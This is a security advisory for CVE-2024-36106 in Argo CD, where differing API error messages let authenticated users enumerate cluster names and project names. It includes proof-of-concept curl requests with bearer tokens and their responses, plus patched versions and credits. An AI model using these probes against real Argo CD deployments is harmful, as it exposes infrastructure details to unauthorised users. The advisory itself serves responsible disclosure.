CVE-2024-36106: Argo CD allows authenticated users to enumerate clusters by name

First published: Thu Jun 06 2024(Updated: )

### Impact It’s possible for authenticated users to enumerate clusters by name by inspecting error messages: ``` $ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎ $ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati on: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"} ``` It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters. ``` curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"} curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token" {"error":"permission denied","code":7,"message":"permission denied"} ``` ### Patches A patch for this vulnerability has been released in the following Argo CD versions: v2.11.3 v2.10.12 v2.9.17 ### For more information If you have any questions or comments about this advisory: Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd Credits This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw) The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Credit: security-advisories@github.com security-advisories@github.com

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